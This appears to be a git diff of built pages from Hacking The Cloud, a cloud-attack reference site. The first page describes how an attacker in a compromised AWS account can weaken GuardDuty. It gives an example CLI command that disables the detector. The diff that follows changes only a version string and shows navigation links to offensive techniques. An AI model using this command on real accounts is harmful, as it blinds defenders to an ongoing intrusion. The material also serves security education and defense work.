href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/avoiding-detection/modify-guardduty-config.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Modify GuardDuty Configuration</h1> <p>When an account has been successfully compromised, an attacker can modify threat detection services like GuardDuty to reduce the likelihood of their actions triggering an alert. Modifying, as opposed to outright deleting, key attributes of GuardDuty may be less likely to raise alerts, and result in a similar degradation of effectiveness. The actions available to an attacker will largely depend on the compromised permissions available to the attacker, the GuardDuty architecture and the presence of higher level controls like <a href=https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html>Service Control Policies</a>. </p> <p>Where GuardDuty uses a delegated admin or invite model, features like detector configurations and IP Trust lists are centrally managed, and so they can only be modified in the GuardDuty administrator account. Where this is not the case, these features can be modified in the account that GuardDuty is running in.</p> <hr> <h2 id=misconfiguring-the-detector>Misconfiguring the Detector<a class=headerlink href=#misconfiguring-the-detector title="Permanent link">&para;</a></h2> <p>An attacker could modify an existing GuardDuty detector in the account, to remove log sources or lessen its effectiveness.</p> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 1 3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5zm0 6c1.4 0 2.8 1.1 2.8 2.5V11c.6 0 1.2.6 1.2 1.3v3.5c0 .6-.6 1.2-1.3 1.2H9.2c-.6 0-1.2-.6-1.2-1.3v-3.5c0-.6.6-1.2 1.2-1.2V9.5C9.2 8.1 10.6 7 12 7m0 1.2c-.8 0-1.5.5-1.5 1.3V11h3V9.5c0-.8-.7-1.3-1.5-1.3"/></svg></span> <strong>Required IAM Permissions</strong></p> <hr> <ul> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/list-detectors.html>guardduty:ListDetectors</a></li> <li><a href=https://awscli.amazonaws.com/v2/documentation/api/latest/reference/guardduty/update-detector.html>guardduty:UpdateDetector</a></li> </ul> </li> </ul> </div> <p>Configuration changes may include a combination of:</p> <ul> <li>Disabling the detector altogether. </li> <li>Removing Kubernetes and s3 as data sources, which removes all <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html>S3 Protection</a> and <a href=https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-kubernetes.html>Kubernetes alerts</a>. </li> <li>Increasing the event update frequency to 6 hours, as opposed to as low as 15 minutes.</li> </ul> <p>Example CLI commands <div class=highlight><pre><span></span><code># Disabling the detector
 aws guardduty update-detector \
     --detector-id 12abc34d567e8fa901bc2d34eexample \
     --no-enable 
diff --git a/aws/avoiding-detection/steal-keys-undetected/index.html b/aws/avoiding-detection/steal-keys-undetected/index.html
index 6260df733..c2e9e0f46 100644
--- a/aws/avoiding-detection/steal-keys-undetected/index.html
+++ b/aws/avoiding-detection/steal-keys-undetected/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><link href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ rel=canonical><link href=../modify-guardduty-config/ rel=prev><link href=../../post_exploitation/create_a_console_session_from_iam_credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Bypass Credential Exfiltration Detection - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass Credential Exfiltration Detection - Hacking The Cloud"><meta property=og:description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass Credential Exfiltration Detection - Hacking The Cloud"><meta property=twitter:description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><link href=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ rel=canonical><link href=../modify-guardduty-config/ rel=prev><link href=../../post_exploitation/create_a_console_session_from_iam_credentials/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Bypass Credential Exfiltration Detection - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Bypass Credential Exfiltration Detection - Hacking The Cloud"><meta property=og:description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/avoiding-detection/steal-keys-undetected/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Bypass Credential Exfiltration Detection - Hacking The Cloud"><meta property=twitter:description content="When stealing IAM credentials from an EC2 instance you can avoid a GuardDuty detection by using VPC Endpoints."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/avoiding-detection/steal-keys-undetected.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#bypass-credential-exfiltration-detection class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav 